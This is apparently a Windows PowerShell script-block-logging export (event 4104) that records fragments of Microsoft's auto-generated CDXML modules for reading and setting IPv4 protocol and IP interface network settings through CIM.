[uint32]
${ReassemblyLimitBytes},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.IcmpRedirects]
${IcmpRedirects},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.SourceRoutingBehavior]
${SourceRoutingBehavior},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.DhcpMediaSense]
${DhcpMediaSense},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MediaSenseEventLog]
${MediaSenseEventLog},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MldLevel')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MldLevel]
${IGMPLevel},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MldVersion')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MldVersion]
${IGMPVersion},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MulticastForwarding]
${MulticastForwarding},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.GroupForwardedFragments]
${GroupForwardedFragments},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.RandomizeIdentifiers]
${RandomizeIdentifiers},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.AddressMaskReply]
${AddressMaskReply},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint32]
${MinimumMtu},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DefaultHopLimit')) {
[object]$__cmdletization_value = ${DefaultHopLimit}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DefaultHopLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DefaultHopLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NeighborCacheLimitEntries')) {
[object]$__cmdletization_value = ${NeighborCacheLimitEntries}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NeighborCacheLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NeighborCacheLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RouteCacheLimitEntries')) {
[object]$__cmdletization_value = ${RouteCacheLimitEntries}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteCacheLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteCacheLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ReassemblyLimitBytes')) {
[object]$__cmdletization_value = ${ReassemblyLimitBytes}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ReassemblyLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ReassemblyLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IcmpRedirects')) {
[object]$__cmdletization_value = ${IcmpRedirects}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IcmpRedirects'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.IcmpRedirects'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IcmpRedirects'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.IcmpRedirects'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SourceRoutingBehavior')) {
[object]$__cmdletization_value = ${SourceRoutingBehavior}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Sour
ScriptBlock ID: 4fed8f45-c374-45e8-8c74-bdfd72920599
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1798 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-bbed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetIPv4Protocol'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetIPv4Protocol
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetIPv4Protocol')]
param(
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${DefaultHopLimit},
[Parameter(ParameterSetName='ByName')]
[Alias('NeighborCacheLimit')]
[ValidateNotNull()]
[uint32[]]
${NeighborCacheLimitEntries},
[Parameter(ParameterSetName='ByName')]
[Alias('RouteCacheLimit')]
[ValidateNotNull()]
[uint32[]]
${RouteCacheLimitEntries},
[Parameter(ParameterSetName='ByName')]
[Alias('ReassemblyLimit')]
[ValidateNotNull()]
[uint32[]]
${ReassemblyLimitBytes},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.IcmpRedirects[]]
${IcmpRedirects},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.SourceRoutingBehavior[]]
${SourceRoutingBehavior},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.DhcpMediaSense[]]
${DhcpMediaSense},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MediaSenseEventLog[]]
${MediaSenseEventLog},
[Parameter(ParameterSetName='ByName')]
[Alias('MldLevel')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MldLevel[]]
${IGMPLevel},
[Parameter(ParameterSetName='ByName')]
[Alias('MldVersion')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MldVersion[]]
${IGMPVersion},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.MulticastForwarding[]]
${MulticastForwarding},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.GroupForwardedFragments[]]
${GroupForwardedFragments},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.RandomizeIdentifiers[]]
${RandomizeIdentifiers},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPv4Protocol.AddressMaskReply[]]
${AddressMaskReply},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${MinimumMtu},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('DefaultHopLimit') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DefaultHopLimit})
$__cmdletization_queryBuilder.FilterByProperty('DefaultHopLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NeighborCacheLimitEntries') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NeighborCacheLimitEntries})
$__cmdletization_queryBuilder.FilterByProperty('NeighborCacheLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RouteCacheLimitEntries') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RouteCacheLimitEntries})
$__cmdletization_queryBuilder.FilterByProperty('RouteCacheLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ReassemblyLimitBytes') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ReassemblyLimitBytes})
$__cmdletization_queryBuilder.FilterByProperty('ReassemblyLimit', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IcmpRedirects') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IcmpRedirects})
$__cmdletization_queryBuilder.FilterByProperty('IcmpRedirects', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('SourceRoutingBehavior') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SourceRoutingBehavior})
$__cmdletization_queryBuilder.FilterByProperty('SourceRoutingBehavior', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DhcpMediaSense') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DhcpMediaSense})
$__cmdletization_queryBuilder.FilterByProperty('DhcpMediaSense', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MediaSenseEventLog') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MediaSenseEventLog})
$__cmdletization_queryBuilder.FilterByProperty('MediaSenseEventLog', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IGMPLevel') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IGMPLevel})
$__cmdletization_queryBuilder.FilterByProperty('MldLevel', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IGMPVersion') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IGMPVersion})
$__cmdletization_queryBuilder.FilterByProperty('MldVersion', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MulticastForwarding') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MulticastForwarding})
$__cmdletization_queryBuilder.FilterByProperty('MulticastForwarding', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('GroupForwardedFragments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${GroupForwardedFragments})
$__cmdletization_queryBuilder.FilterByProperty('GroupForwardedFragments', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RandomizeIdentifiers') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RandomizeIdentifiers})
$__cmdletization_queryBuilder.FilterByProperty('RandomizeIdentifiers', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressMaskReply') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressMaskReply})
$__cmdletization_queryBuilder.FilterByProperty('AddressMaskReply', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MinimumMtu') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MinimumMtu})
$__cmdletization_queryBuilder.FilterByProperty('MinimumMtu', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($_
ScriptBlock ID: 4fed8f45-c374-45e8-8c74-bdfd72920599
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1797 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-bbed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (6 of 6):
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetIPInterface.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetIPInterface' -Alias '*'
ScriptBlock ID: af0ff2b0-09b4-4597-b5e3-1372af4835f7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1796 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-df2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 6):
PInterface.WeakHostSend'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WeakHostSend'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.WeakHostSend'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WeakHostReceive')) {
[object]$__cmdletization_value = ${WeakHostReceive}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WeakHostReceive'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.WeakHostReceive'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WeakHostReceive'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.WeakHostReceive'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IgnoreDefaultRoutes')) {
[object]$__cmdletization_value = ${IgnoreDefaultRoutes}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IgnoreDefaultRoutes'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.IgnoreDefaultRoutes'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IgnoreDefaultRoutes'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.IgnoreDefaultRoutes'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AdvertisedRouterLifetime')) {
[object]$__cmdletization_value = ${AdvertisedRouterLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AdvertisedRouterLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AdvertisedRouterLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AdvertiseDefaultRoute')) {
[object]$__cmdletization_value = ${AdvertiseDefaultRoute}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AdvertiseDefaultRoute'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AdvertiseDefaultRoute'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AdvertiseDefaultRoute'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AdvertiseDefaultRoute'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('CurrentHopLimit')) {
[object]$__cmdletization_value = ${CurrentHopLimit}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CurrentHopLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CurrentHopLimit'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ForceArpNdWolPattern')) {
[object]$__cmdletization_value = ${ForceArpNdWolPattern}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ForceArpNdWolPattern'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ForceArpNdWolPattern'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ForceArpNdWolPattern'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.ForceArpNdWolPattern'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DirectedMacWolPattern')) {
[object]$__cmdletization_value = ${DirectedMacWolPattern}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DirectedMacWolPattern'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.DirectedMacWolPattern'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DirectedMacWolPattern'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.DirectedMacWolPattern'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('EcnMarking')) {
[object]$__cmdletization_value = ${EcnMarking}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EcnMarking'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.EcnMarking'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EcnMarking'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.EcnMarking'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Dhcp')) {
[object]$__cmdletization_value = ${Dhcp}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Dhcp'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Dhcp'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Dhcp'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.Dhcp'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AutomaticMetric')) {
[object]$__cmdletization_value = ${AutomaticMetric}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutomaticMetric'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AutomaticMetric'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutomaticMetric'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPInterface.AutomaticMetric'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
